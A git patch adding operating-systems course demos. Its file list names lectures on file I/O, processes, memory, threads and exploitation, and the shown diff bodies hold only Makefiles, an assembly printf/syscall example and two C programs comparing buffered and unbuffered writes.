From ffe9e70221a2c6a85d5e74af97b61b0827c82479 Mon Sep 17 00:00:00 2001 From: Robert Baronescu Date: Mon, 1 Mar 2021 15:51:29 +0200 Subject: [PATCH] Add courses demos --- .../syscall-libc-call-asm/.gitignore | 1 + .../syscall-libc-call-asm/Makefile | 14 + .../syscall-libc-call.asm | 26 ++ .../buffered-system-io/.gitignore | 3 + .../curs-02-demo/buffered-system-io/Makefile | 18 + .../buffered-system-io/buffered.c | 32 ++ .../curs-02-demo/buffered-system-io/system.c | 33 ++ courses/curs-02-demo/c-file-ops/.gitignore | 2 + courses/curs-02-demo/c-file-ops/Makefile | 14 + courses/curs-02-demo/c-file-ops/c-file-ops.c | 60 +++ courses/curs-02-demo/fdtsize/.gitignore | 1 + courses/curs-02-demo/fdtsize/Makefile | 14 + courses/curs-02-demo/fdtsize/aaa | 0 courses/curs-02-demo/fdtsize/fdtsize.c | 21 ++ courses/curs-02-demo/fopen-perm/.gitignore | 1 + courses/curs-02-demo/fopen-perm/Makefile | 15 + courses/curs-02-demo/fopen-perm/aaa | 0 courses/curs-02-demo/fopen-perm/fopen-perm.c | 38 ++ courses/curs-02-demo/open-dup/.gitignore | 2 + courses/curs-02-demo/open-dup/Makefile | 18 + courses/curs-02-demo/open-dup/dup.c | 53 +++ courses/curs-02-demo/open-dup/open.c | 53 +++ courses/curs-02-demo/py-file-ops/.gitignore | 1 + .../curs-02-demo/py-file-ops/py-file-ops.py | 36 ++ courses/curs-02-demo/save-fd/.gitignore | 1 + courses/curs-02-demo/save-fd/Makefile | 15 + courses/curs-02-demo/save-fd/save-fd.c | 31 ++ courses/curs-02-demo/sparse-file/.gitignore | 2 + courses/curs-02-demo/sparse-file/Makefile | 14 + .../curs-02-demo/sparse-file/sparse-file.c | 40 ++ courses/curs-02-demo/stdout-stderr/.gitignore | 1 + courses/curs-02-demo/stdout-stderr/Makefile | 14 + .../stdout-stderr/stdout-stderr.c | 30 ++ courses/curs-02-demo/truncate/.gitignore | 2 + courses/curs-02-demo/truncate/Makefile | 14 + courses/curs-02-demo/truncate/truncate.c | 31 ++ courses/curs-02-demo/utils/utils.h | 25 ++ courses/curs-03-demo/ctxt-switch/.gitignore | 2 + courses/curs-03-demo/ctxt-switch/Makefile | 18 + courses/curs-03-demo/ctxt-switch/cpu.c | 20 + courses/curs-03-demo/ctxt-switch/io.c | 21 ++ .../curs-03-demo/fork-file-pointer/.gitignore | 2 + .../curs-03-demo/fork-file-pointer/Makefile | 14 + .../fork-file-pointer/fork-file-pointer.c | 57 +++ courses/curs-03-demo/orphan-zombie/.gitignore | 2 + courses/curs-03-demo/orphan-zombie/Makefile | 18 + courses/curs-03-demo/orphan-zombie/orphan.c | 35 ++ courses/curs-03-demo/orphan-zombie/zombie.c | 42 +++ courses/curs-03-demo/utils/utils.h | 25 ++ courses/curs-04-demo/nice/.gitignore | 2 + courses/curs-04-demo/nice/Makefile | 14 + courses/curs-04-demo/nice/cpu.c | 20 + courses/curs-04-demo/nice/start-all | 8 + courses/curs-04-demo/pipe/.gitignore | 1 + courses/curs-04-demo/pipe/Makefile | 14 + courses/curs-04-demo/pipe/pipe.c | 69 ++++ courses/curs-04-demo/utils/utils.h | 25 ++ courses/curs-04-demo/yield/.gitignore | 1 + courses/curs-04-demo/yield/Makefile | 14 + courses/curs-04-demo/yield/run-many | 10 + courses/curs-04-demo/yield/yield.c | 33 ++ .../access-permissions/.gitignore | 1 + .../curs-05-demo/access-permissions/Makefile | 15 + .../access-permissions/access-permissions.c | 44 +++ courses/curs-05-demo/address-space/.gitignore | 1 + courses/curs-05-demo/address-space/Makefile | 14 + .../address-space/address-space.c | 61 ++++ .../allocation-granularity/.gitignore | 1 + .../allocation-granularity/Makefile | 14 + .../allocation-granularity.c | 28 ++ courses/curs-05-demo/system-memory/.gitignore | 1 + courses/curs-05-demo/system-memory/Makefile | 14 + .../system-memory/system-memory.c | 21 ++ courses/curs-05-demo/utils/utils.h | 25 ++ courses/curs-06-demo/allocation/.gitignore | 1 + courses/curs-06-demo/allocation/Makefile | 12 + courses/curs-06-demo/allocation/allocation.c | 42 +++ courses/curs-06-demo/demand-paging/.gitignore | 1 + courses/curs-06-demo/demand-paging/Makefile | 12 + .../demand-paging/demand-paging.c | 46 +++ courses/curs-06-demo/exec-vars/.gitignore | 1 + courses/curs-06-demo/exec-vars/Makefile | 14 + courses/curs-06-demo/exec-vars/exec-vars.c | 18 + courses/curs-06-demo/fork-faults/.gitignore | 1 + courses/curs-06-demo/fork-faults/Makefile | 12 + .../curs-06-demo/fork-faults/fork-faults.c | 77 ++++ courses/curs-06-demo/pmap/.gitignore | 1 + courses/curs-06-demo/pmap/Makefile | 15 + courses/curs-06-demo/pmap/pmap.c | 70 ++++ courses/curs-06-demo/utils/utils.h | 25 ++ courses/curs-07-demo/buffer-overflow/Makefile | 44 +++ .../buffer-overflow/buffer-overflow | Bin 0 -> 11488 bytes .../buffer-overflow/buffer-overflow-32 | Bin 0 -> 10088 bytes .../buffer-overflow/buffer-overflow-asan | Bin 0 -> 26248 bytes .../buffer-overflow/buffer-overflow-pie | Bin 0 -> 11512 bytes .../buffer-overflow/buffer-overflow-ssp | Bin 0 -> 11536 bytes .../buffer-overflow/buffer-overflow.c | 43 +++ .../curs-07-demo/buffer-overflow/payloads.py | 38 ++ courses/curs-07-demo/shellcode/.gitignore | 6 + courses/curs-07-demo/shellcode/Makefile | 32 ++ .../curs-07-demo/shellcode/Makefile.shellcode | 20 + .../curs-07-demo/shellcode/inject-shellcode.c | 14 + .../curs-07-demo/shellcode/run-shellcode.c | 14 + .../curs-07-demo/shellcode/shellcode-32.asm | 22 ++ courses/curs-07-demo/shellcode/shellcode.asm | 22 ++ courses/curs-07-demo/socket-ssp/Makefile | 13 + courses/curs-07-demo/socket-ssp/exploit.py | 75 ++++ courses/curs-07-demo/socket-ssp/result.txt | 10 + courses/curs-07-demo/socket-ssp/socket_ssp | Bin 0 -> 17632 bytes courses/curs-07-demo/socket-ssp/socket_ssp.c | 83 +++++ courses/curs-07-demo/utils/utils.h | 25 ++ courses/curs-08-demo/address-space/.gitignore | 1 + courses/curs-08-demo/address-space/Makefile | 15 + .../address-space/address-space.c | 57 +++ courses/curs-08-demo/creation-time/.gitignore | 2 + courses/curs-08-demo/creation-time/Makefile | 19 + .../creation-time/process-overhead.c | 43 +++ .../creation-time/thread-overhead.c | 33 ++ courses/curs-08-demo/lang/Makefile | 10 + .../curs-08-demo/lang/MultithreadingTest.java | 38 ++ courses/curs-08-demo/lang/threading_demo.py | 27 ++ courses/curs-08-demo/reentrant/.gitignore | 4 + courses/curs-08-demo/reentrant/Makefile | 20 + courses/curs-08-demo/reentrant/reentrant.c | 58 +++ courses/curs-08-demo/shared-data/.gitignore | 2 + courses/curs-08-demo/shared-data/Makefile | 19 + courses/curs-08-demo/shared-data/process.c | 37 ++ courses/curs-08-demo/shared-data/thread.c | 31 ++ courses/curs-08-demo/stack-access/.gitignore | 1 + courses/curs-08-demo/stack-access/Makefile | 15 + .../curs-08-demo/stack-access/stack-access.c | 66 ++++ courses/curs-08-demo/utils/utils.h | 25 ++ courses/curs-09-demo/deadlock/.gitignore | 1 + courses/curs-09-demo/deadlock/Makefile | 15 + courses/curs-09-demo/deadlock/deadlock.c | 75 ++++ courses/curs-09-demo/granularity/.gitignore | 2 + courses/curs-09-demo/granularity/Makefile | 21 ++ .../curs-09-demo/granularity/granularity.c | 62 ++++ .../curs-09-demo/indefinite-wait/.gitignore | 1 + courses/curs-09-demo/indefinite-wait/Makefile | 15 + .../indefinite-wait/indefinite-wait.c | 91 +++++ courses/curs-09-demo/list-excl/.gitignore | 2 + courses/curs-09-demo/list-excl/Makefile | 22 ++ courses/curs-09-demo/list-excl/list.c | 128 +++++++ courses/curs-09-demo/list-excl/list.h | 24 ++ .../curs-09-demo/list-excl/thread-list-app.c | 146 ++++++++ courses/curs-09-demo/lock/Makefile | 30 ++ courses/curs-09-demo/lock/lock | Bin 0 -> 16664 bytes courses/curs-09-demo/lock/lock.c | 100 +++++ courses/curs-09-demo/lock/lock_atomic | Bin 0 -> 16664 bytes courses/curs-09-demo/lock/lock_spin | Bin 0 -> 1205936 bytes courses/curs-09-demo/ring-buffer/.gitignore | 1 + courses/curs-09-demo/ring-buffer/Makefile | 19 + courses/curs-09-demo/ring-buffer/README | 3 + .../ring-buffer/producer_consumer.c | 79 ++++ .../curs-09-demo/ring-buffer/ring_buffer.c | 74 ++++ .../curs-09-demo/ring-buffer/ring_buffer.h | 25 ++ .../curs-09-demo/spinlock-mutex/.gitignore | 2 + courses/curs-09-demo/spinlock-mutex/Makefile | 21 ++ .../spinlock-mutex/spinlock-mutex.c | 92 +++++ courses/curs-09-demo/sum-threads-arm/Makefile | 23 ++ .../curs-09-demo/sum-threads-arm/sum_threads | Bin 0 -> 945048 bytes .../sum-threads-arm/sum_threads.c | 65 ++++ .../sum-threads-arm/sum_threads_atomic | Bin 0 -> 952708 bytes courses/curs-09-demo/sum-threads/Makefile | 54 +++ courses/curs-09-demo/sum-threads/sum_threads | Bin 0 -> 11768 bytes .../curs-09-demo/sum-threads/sum_threads.c | 65 ++++ .../curs-09-demo/sum-threads/sum_threads_32 | Bin 0 -> 10376 bytes .../sum-threads/sum_threads_32_longlong | Bin 0 -> 10380 bytes .../sum-threads/sum_threads_atomic | Bin 0 -> 11768 bytes .../sum-threads/sum_threads_atomic_32 | Bin 0 -> 10376 bytes .../sum_threads_atomic_32_longlong | Bin 0 -> 10380 bytes courses/curs-09-demo/tocttou/.gitignore | 1 + courses/curs-09-demo/tocttou/Makefile | 15 + courses/curs-09-demo/tocttou/tocttou.c | 78 ++++ courses/curs-09-demo/utils/utils.h | 25 ++ courses/curs-10-demo/ioctl/.gitignore | 2 + courses/curs-10-demo/ioctl/Makefile | 18 + courses/curs-10-demo/ioctl/cdrom-ioctl.c | 85 +++++ courses/curs-10-demo/ioctl/hwaddr-ioctl.c | 43 +++ courses/curs-10-demo/utils/utils.h | 25 ++ courses/curs-11-demo/.gitignore | 6 + courses/curs-11-demo/Makefile | 32 ++ courses/curs-11-demo/create-files | 6 + courses/curs-11-demo/debug.h | 77 ++++ courses/curs-11-demo/download-parallel | 17 + courses/curs-11-demo/download-serial | 6 + courses/curs-11-demo/epoll-server.c | 345 ++++++++++++++++++ courses/curs-11-demo/sendfile-server.c | 153 ++++++++ courses/curs-11-demo/server.c | 193 ++++++++++ courses/curs-11-demo/sock-util.c | 128 +++++++ courses/curs-11-demo/sock-util.h | 48 +++ courses/curs-11-demo/threaded-server.c | 275 ++++++++++++++ courses/curs-11-demo/util.h | 71 ++++ courses/curs-11-demo/w_epoll.h | 181 +++++++++ courses/curs-12-demo/5-dirent/.gitignore | 1 + courses/curs-12-demo/5-dirent/Makefile | 14 + courses/curs-12-demo/5-dirent/dirent.c | 67 ++++ courses/curs-12-demo/create-long-filenames | 5 + courses/curs-12-demo/utils/utils.h | 25 ++ courses/curs-13-demo/1-setuid/.gitignore | 1 + courses/curs-13-demo/1-setuid/Makefile | 18 + courses/curs-13-demo/1-setuid/setuid-test.c | 76 ++++ courses/curs-13-demo/2-shellcode/.gitignore | 1 + courses/curs-13-demo/2-shellcode/Makefile | 13 + .../2-shellcode/binary-shellcodes | 1 + .../2-shellcode/shellcode-samples.c | 31 ++ courses/curs-13-demo/3-exploit/.gitignore | 1 + courses/curs-13-demo/3-exploit/Makefile | 15 + courses/curs-13-demo/3-exploit/exploit.c | 14 + courses/curs-13-demo/3-exploit/run-exploit.sh | 12 + courses/curs-13-demo/4-stack-smash/.gitignore | 2 + courses/curs-13-demo/4-stack-smash/Makefile | 16 + .../curs-13-demo/4-stack-smash/stack-smash.c | 17 + .../exec-process-demo/exec-addr/.gitignore | 1 + courses/exec-process-demo/exec-addr/Makefile | 14 + .../exec-process-demo/exec-addr/exec-addr.c | 51 +++ courses/exec-process-demo/hidden/.gitignore | 1 + courses/exec-process-demo/hidden/Makefile | 16 + courses/exec-process-demo/hidden/hidden | Bin 0 -> 13216 bytes courses/exec-process-demo/hidden/hidden.c | 30 ++ courses/exec-process-demo/hidden/reader.c | 12 + courses/exec-process-demo/hidden/reader.h | 6 + .../exec-process-demo/hidden/rewrite_exec.sh | 16 + courses/exec-process-demo/no-libc/.gitignore | 2 + courses/exec-process-demo/no-libc/Makefile | 22 ++ courses/exec-process-demo/no-libc/hello.asm | 33 ++ courses/exec-process-demo/no-libc/hello.s | 34 ++ .../static-dynamic/.gitignore | 2 + .../exec-process-demo/static-dynamic/Makefile | 18 + .../exec-process-demo/static-dynamic/hello.c | 16 + courses/exec-process-demo/utils/utils.h | 25 ++ courses/make-clean | 19 + courses/publish-demos | 17 + 234 files changed, 6468 insertions(+) create mode 100644 courses/curs-01-demo/syscall-libc-call-asm/.gitignore create mode 100644 courses/curs-01-demo/syscall-libc-call-asm/Makefile create mode 100644 courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm create mode 100644 courses/curs-02-demo/buffered-system-io/.gitignore create mode 100644 courses/curs-02-demo/buffered-system-io/Makefile create mode 100644 courses/curs-02-demo/buffered-system-io/buffered.c create mode 100644 courses/curs-02-demo/buffered-system-io/system.c create mode 100644 courses/curs-02-demo/c-file-ops/.gitignore create mode 100644 courses/curs-02-demo/c-file-ops/Makefile create mode 100644 courses/curs-02-demo/c-file-ops/c-file-ops.c create mode 100644 courses/curs-02-demo/fdtsize/.gitignore create mode 100644 courses/curs-02-demo/fdtsize/Makefile create mode 100644 courses/curs-02-demo/fdtsize/aaa create mode 100644 courses/curs-02-demo/fdtsize/fdtsize.c create mode 100644 courses/curs-02-demo/fopen-perm/.gitignore create mode 100644 courses/curs-02-demo/fopen-perm/Makefile create mode 100644 courses/curs-02-demo/fopen-perm/aaa create mode 100644 courses/curs-02-demo/fopen-perm/fopen-perm.c create mode 100644 courses/curs-02-demo/open-dup/.gitignore create mode 100644 courses/curs-02-demo/open-dup/Makefile create mode 100644 courses/curs-02-demo/open-dup/dup.c create mode 100644 courses/curs-02-demo/open-dup/open.c create mode 100644 courses/curs-02-demo/py-file-ops/.gitignore create mode 100644 courses/curs-02-demo/py-file-ops/py-file-ops.py create mode 100644 courses/curs-02-demo/save-fd/.gitignore create mode 100644 courses/curs-02-demo/save-fd/Makefile create mode 100644 courses/curs-02-demo/save-fd/save-fd.c create mode 100644 courses/curs-02-demo/sparse-file/.gitignore create mode 100644 courses/curs-02-demo/sparse-file/Makefile create mode 100644 courses/curs-02-demo/sparse-file/sparse-file.c create mode 100644 courses/curs-02-demo/stdout-stderr/.gitignore create mode 100644 courses/curs-02-demo/stdout-stderr/Makefile create mode 100644 courses/curs-02-demo/stdout-stderr/stdout-stderr.c create mode 100644 courses/curs-02-demo/truncate/.gitignore create mode 100644 courses/curs-02-demo/truncate/Makefile create mode 100644 courses/curs-02-demo/truncate/truncate.c create mode 100644 courses/curs-02-demo/utils/utils.h create mode 100644 courses/curs-03-demo/ctxt-switch/.gitignore create mode 100644 courses/curs-03-demo/ctxt-switch/Makefile create mode 100644 courses/curs-03-demo/ctxt-switch/cpu.c create mode 100644 courses/curs-03-demo/ctxt-switch/io.c create mode 100644 courses/curs-03-demo/fork-file-pointer/.gitignore create mode 100644 courses/curs-03-demo/fork-file-pointer/Makefile create mode 100644 courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c create mode 100644 courses/curs-03-demo/orphan-zombie/.gitignore create mode 100644 courses/curs-03-demo/orphan-zombie/Makefile create mode 100644 courses/curs-03-demo/orphan-zombie/orphan.c create mode 100644 courses/curs-03-demo/orphan-zombie/zombie.c create mode 100644 courses/curs-03-demo/utils/utils.h create mode 100644 courses/curs-04-demo/nice/.gitignore create mode 100644 courses/curs-04-demo/nice/Makefile create mode 100644 courses/curs-04-demo/nice/cpu.c create mode 100644 courses/curs-04-demo/nice/start-all create mode 100644 courses/curs-04-demo/pipe/.gitignore create mode 100644 courses/curs-04-demo/pipe/Makefile create mode 100644 courses/curs-04-demo/pipe/pipe.c create mode 100644 courses/curs-04-demo/utils/utils.h create mode 100644 courses/curs-04-demo/yield/.gitignore create mode 100644 courses/curs-04-demo/yield/Makefile create mode 100644 courses/curs-04-demo/yield/run-many create mode 100644 courses/curs-04-demo/yield/yield.c create mode 100644 courses/curs-05-demo/access-permissions/.gitignore create mode 100644 courses/curs-05-demo/access-permissions/Makefile create mode 100644 courses/curs-05-demo/access-permissions/access-permissions.c create mode 100644 courses/curs-05-demo/address-space/.gitignore create mode 100644 courses/curs-05-demo/address-space/Makefile create mode 100644 courses/curs-05-demo/address-space/address-space.c create mode 100644 courses/curs-05-demo/allocation-granularity/.gitignore create mode 100644 courses/curs-05-demo/allocation-granularity/Makefile create mode 100644 courses/curs-05-demo/allocation-granularity/allocation-granularity.c create mode 100644 courses/curs-05-demo/system-memory/.gitignore create mode 100644 courses/curs-05-demo/system-memory/Makefile create mode 100644 courses/curs-05-demo/system-memory/system-memory.c create mode 100644 courses/curs-05-demo/utils/utils.h create mode 100644 courses/curs-06-demo/allocation/.gitignore create mode 100644 courses/curs-06-demo/allocation/Makefile create mode 100644 courses/curs-06-demo/allocation/allocation.c create mode 100644 courses/curs-06-demo/demand-paging/.gitignore create mode 100644 courses/curs-06-demo/demand-paging/Makefile create mode 100644 courses/curs-06-demo/demand-paging/demand-paging.c create mode 100644 courses/curs-06-demo/exec-vars/.gitignore create mode 100644 courses/curs-06-demo/exec-vars/Makefile create mode 100644 courses/curs-06-demo/exec-vars/exec-vars.c create mode 100644 courses/curs-06-demo/fork-faults/.gitignore create mode 100644 courses/curs-06-demo/fork-faults/Makefile create mode 100644 courses/curs-06-demo/fork-faults/fork-faults.c create mode 100644 courses/curs-06-demo/pmap/.gitignore create mode 100644 courses/curs-06-demo/pmap/Makefile create mode 100644 courses/curs-06-demo/pmap/pmap.c create mode 100644 courses/curs-06-demo/utils/utils.h create mode 100644 courses/curs-07-demo/buffer-overflow/Makefile create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow-32 create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow-asan create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow-pie create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp create mode 100644 courses/curs-07-demo/buffer-overflow/buffer-overflow.c create mode 100644 courses/curs-07-demo/buffer-overflow/payloads.py create mode 100644 courses/curs-07-demo/shellcode/.gitignore create mode 100644 courses/curs-07-demo/shellcode/Makefile create mode 100644 courses/curs-07-demo/shellcode/Makefile.shellcode create mode 100644 courses/curs-07-demo/shellcode/inject-shellcode.c create mode 100644 courses/curs-07-demo/shellcode/run-shellcode.c create mode 100644 courses/curs-07-demo/shellcode/shellcode-32.asm create mode 100644 courses/curs-07-demo/shellcode/shellcode.asm create mode 100644 courses/curs-07-demo/socket-ssp/Makefile create mode 100644 courses/curs-07-demo/socket-ssp/exploit.py create mode 100644 courses/curs-07-demo/socket-ssp/result.txt create mode 100644 courses/curs-07-demo/socket-ssp/socket_ssp create mode 100644 courses/curs-07-demo/socket-ssp/socket_ssp.c create mode 100644 courses/curs-07-demo/utils/utils.h create mode 100644 courses/curs-08-demo/address-space/.gitignore create mode 100644 courses/curs-08-demo/address-space/Makefile create mode 100644 courses/curs-08-demo/address-space/address-space.c create mode 100644 courses/curs-08-demo/creation-time/.gitignore create mode 100644 courses/curs-08-demo/creation-time/Makefile create mode 100644 courses/curs-08-demo/creation-time/process-overhead.c create mode 100644 courses/curs-08-demo/creation-time/thread-overhead.c create mode 100644 courses/curs-08-demo/lang/Makefile create mode 100644 courses/curs-08-demo/lang/MultithreadingTest.java create mode 100644 courses/curs-08-demo/lang/threading_demo.py create mode 100644 courses/curs-08-demo/reentrant/.gitignore create mode 100644 courses/curs-08-demo/reentrant/Makefile create mode 100644 courses/curs-08-demo/reentrant/reentrant.c create mode 100644 courses/curs-08-demo/shared-data/.gitignore create mode 100644 courses/curs-08-demo/shared-data/Makefile create mode 100644 courses/curs-08-demo/shared-data/process.c create mode 100644 courses/curs-08-demo/shared-data/thread.c create mode 100644 courses/curs-08-demo/stack-access/.gitignore create mode 100644 courses/curs-08-demo/stack-access/Makefile create mode 100644 courses/curs-08-demo/stack-access/stack-access.c create mode 100644 courses/curs-08-demo/utils/utils.h create mode 100644 courses/curs-09-demo/deadlock/.gitignore create mode 100644 courses/curs-09-demo/deadlock/Makefile create mode 100644 courses/curs-09-demo/deadlock/deadlock.c create mode 100644 courses/curs-09-demo/granularity/.gitignore create mode 100644 courses/curs-09-demo/granularity/Makefile create mode 100644 courses/curs-09-demo/granularity/granularity.c create mode 100644 courses/curs-09-demo/indefinite-wait/.gitignore create mode 100644 courses/curs-09-demo/indefinite-wait/Makefile create mode 100644 courses/curs-09-demo/indefinite-wait/indefinite-wait.c create mode 100644 courses/curs-09-demo/list-excl/.gitignore create mode 100644 courses/curs-09-demo/list-excl/Makefile create mode 100644 courses/curs-09-demo/list-excl/list.c create mode 100644 courses/curs-09-demo/list-excl/list.h create mode 100644 courses/curs-09-demo/list-excl/thread-list-app.c create mode 100644 courses/curs-09-demo/lock/Makefile create mode 100644 courses/curs-09-demo/lock/lock create mode 100644 courses/curs-09-demo/lock/lock.c create mode 100644 courses/curs-09-demo/lock/lock_atomic create mode 100644 courses/curs-09-demo/lock/lock_spin create mode 100644 courses/curs-09-demo/ring-buffer/.gitignore create mode 100644 courses/curs-09-demo/ring-buffer/Makefile create mode 100644 courses/curs-09-demo/ring-buffer/README create mode 100644 courses/curs-09-demo/ring-buffer/producer_consumer.c create mode 100644 courses/curs-09-demo/ring-buffer/ring_buffer.c create mode 100644 courses/curs-09-demo/ring-buffer/ring_buffer.h create mode 100644 courses/curs-09-demo/spinlock-mutex/.gitignore create mode 100644 courses/curs-09-demo/spinlock-mutex/Makefile create mode 100644 courses/curs-09-demo/spinlock-mutex/spinlock-mutex.c create mode 100644 courses/curs-09-demo/sum-threads-arm/Makefile create mode 100644 courses/curs-09-demo/sum-threads-arm/sum_threads create mode 100644 courses/curs-09-demo/sum-threads-arm/sum_threads.c create mode 100644 courses/curs-09-demo/sum-threads-arm/sum_threads_atomic create mode 100644 courses/curs-09-demo/sum-threads/Makefile create mode 100644 courses/curs-09-demo/sum-threads/sum_threads create mode 100644 courses/curs-09-demo/sum-threads/sum_threads.c create mode 100644 courses/curs-09-demo/sum-threads/sum_threads_32 create mode 100644 courses/curs-09-demo/sum-threads/sum_threads_32_longlong create mode 100644 courses/curs-09-demo/sum-threads/sum_threads_atomic create mode 100644 courses/curs-09-demo/sum-threads/sum_threads_atomic_32 create mode 100644 courses/curs-09-demo/sum-threads/sum_threads_atomic_32_longlong create mode 100644 courses/curs-09-demo/tocttou/.gitignore create mode 100644 courses/curs-09-demo/tocttou/Makefile create mode 100644 courses/curs-09-demo/tocttou/tocttou.c create mode 100644 courses/curs-09-demo/utils/utils.h create mode 100644 courses/curs-10-demo/ioctl/.gitignore create mode 100644 courses/curs-10-demo/ioctl/Makefile create mode 100644 courses/curs-10-demo/ioctl/cdrom-ioctl.c create mode 100644 courses/curs-10-demo/ioctl/hwaddr-ioctl.c create mode 100644 courses/curs-10-demo/utils/utils.h create mode 100644 courses/curs-11-demo/.gitignore create mode 100644 courses/curs-11-demo/Makefile create mode 100644 courses/curs-11-demo/create-files create mode 100644 courses/curs-11-demo/debug.h create mode 100644 courses/curs-11-demo/download-parallel create mode 100644 courses/curs-11-demo/download-serial create mode 100644 courses/curs-11-demo/epoll-server.c create mode 100644 courses/curs-11-demo/sendfile-server.c create mode 100644 courses/curs-11-demo/server.c create mode 100644 courses/curs-11-demo/sock-util.c create mode 100644 courses/curs-11-demo/sock-util.h create mode 100644 courses/curs-11-demo/threaded-server.c create mode 100644 courses/curs-11-demo/util.h create mode 100644 courses/curs-11-demo/w_epoll.h create mode 100644 courses/curs-12-demo/5-dirent/.gitignore create mode 100644 courses/curs-12-demo/5-dirent/Makefile create mode 100644 courses/curs-12-demo/5-dirent/dirent.c create mode 100644 courses/curs-12-demo/create-long-filenames create mode 100644 courses/curs-12-demo/utils/utils.h create mode 100644 courses/curs-13-demo/1-setuid/.gitignore create mode 100644 courses/curs-13-demo/1-setuid/Makefile create mode 100644 courses/curs-13-demo/1-setuid/setuid-test.c create mode 100644 courses/curs-13-demo/2-shellcode/.gitignore create mode 100644 courses/curs-13-demo/2-shellcode/Makefile create mode 100644 courses/curs-13-demo/2-shellcode/binary-shellcodes create mode 100644 courses/curs-13-demo/2-shellcode/shellcode-samples.c create mode 100644 courses/curs-13-demo/3-exploit/.gitignore create mode 100644 courses/curs-13-demo/3-exploit/Makefile create mode 100644 courses/curs-13-demo/3-exploit/exploit.c create mode 100644 courses/curs-13-demo/3-exploit/run-exploit.sh create mode 100644 courses/curs-13-demo/4-stack-smash/.gitignore create mode 100644 courses/curs-13-demo/4-stack-smash/Makefile create mode 100644 courses/curs-13-demo/4-stack-smash/stack-smash.c create mode 100644 courses/exec-process-demo/exec-addr/.gitignore create mode 100644 courses/exec-process-demo/exec-addr/Makefile create mode 100644 courses/exec-process-demo/exec-addr/exec-addr.c create mode 100644 courses/exec-process-demo/hidden/.gitignore create mode 100644 courses/exec-process-demo/hidden/Makefile create mode 100644 courses/exec-process-demo/hidden/hidden create mode 100644 courses/exec-process-demo/hidden/hidden.c create mode 100644 courses/exec-process-demo/hidden/reader.c create mode 100644 courses/exec-process-demo/hidden/reader.h create mode 100644 courses/exec-process-demo/hidden/rewrite_exec.sh create mode 100644 courses/exec-process-demo/no-libc/.gitignore create mode 100644 courses/exec-process-demo/no-libc/Makefile create mode 100644 courses/exec-process-demo/no-libc/hello.asm create mode 100644 courses/exec-process-demo/no-libc/hello.s create mode 100644 courses/exec-process-demo/static-dynamic/.gitignore create mode 100644 courses/exec-process-demo/static-dynamic/Makefile create mode 100644 courses/exec-process-demo/static-dynamic/hello.c create mode 100644 courses/exec-process-demo/utils/utils.h create mode 100644 courses/make-clean create mode 100644 courses/publish-demos diff --git a/courses/curs-01-demo/syscall-libc-call-asm/.gitignore b/courses/curs-01-demo/syscall-libc-call-asm/.gitignore new file mode 100644 index 00000000..f5934d56 --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/.gitignore @@ -0,0 +1 @@ +/syscall-libc-call diff --git a/courses/curs-01-demo/syscall-libc-call-asm/Makefile b/courses/curs-01-demo/syscall-libc-call-asm/Makefile new file mode 100644 index 00000000..b5e024ee --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/Makefile @@ -0,0 +1,14 @@ +LDFLAGS = -m32 + +.PHONY: all clean + +all: syscall-libc-call + +syscall-libc-call: syscall-libc-call.o + +syscall-libc-call.o: syscall-libc-call.asm + nasm -f elf32 -o $@ $< + +clean: + -rm -f *~ + -rm -f syscall-libc-call.o syscall-libc-call diff --git a/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm b/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm new file mode 100644 index 00000000..e631edc2 --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm @@ -0,0 +1,26 @@ +extern printf + +section .rodata + message db "anaaremere", 10, 0 + len equ $-message + +section .text + +global main + +main: + push ebp + mov ebp, esp + + push message + call printf + add esp, 4 + + mov ebx, 1 + mov ecx, message + mov edx, len + mov eax, 4 + int 0x80 + + leave + ret diff --git a/courses/curs-02-demo/buffered-system-io/.gitignore b/courses/curs-02-demo/buffered-system-io/.gitignore new file mode 100644 index 00000000..694459f4 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/.gitignore @@ -0,0 +1,3 @@ +/buffered +/system +/*.txt diff --git a/courses/curs-02-demo/buffered-system-io/Makefile b/courses/curs-02-demo/buffered-system-io/Makefile new file mode 100644 index 00000000..7049edb3 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: buffered system + +buffered: buffered.o + +buffered.o: buffered.c ../utils/utils.h + +system: system.o + +system.o: system.c ../utils/utils.h + +clean: + -rm -f *.o *~ buffered system *.txt diff --git a/courses/curs-02-demo/buffered-system-io/buffered.c b/courses/curs-02-demo/buffered-system-io/buffered.c new file mode 100644 index 00000000..a27e4310 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/buffered.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + FILE *f; + size_t i; + + for (i = 0; i < 10; i++) { + printf("a"); + sleep(1); + } + printf("\n"); + + f = fopen("f.txt", "w+"); + DIE(f == NULL, "fopen"); + + for (i = 0; i < 10; i++) { + fprintf(f, "a"); + fprintf(f, "\n"); + sleep(1); + } + fflush(f); + + fclose(f); + + return 0; +} diff --git a/courses/curs-02-demo/buffered-system-io/system.c b/courses/curs-02-demo/buffered-system-io/system.c new file mode 100644 index 00000000..1cf9c7e3 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/system.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + int fd; + size_t i; + + for (i = 0; i < 10; i++) { + write(STDOUT_FILENO, "a", 1); + sleep(1); + } + write(STDOUT_FILENO, "\n", 1); + + fd = open("f.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + for (i = 0; i < 10; i++) { + write(fd, "a", 1); + write(fd, "\n", 1); + sleep(1); + } + + close(fd); + + return 0; +} diff --git a/courses/curs-02-demo/c-file-ops/.gitignore 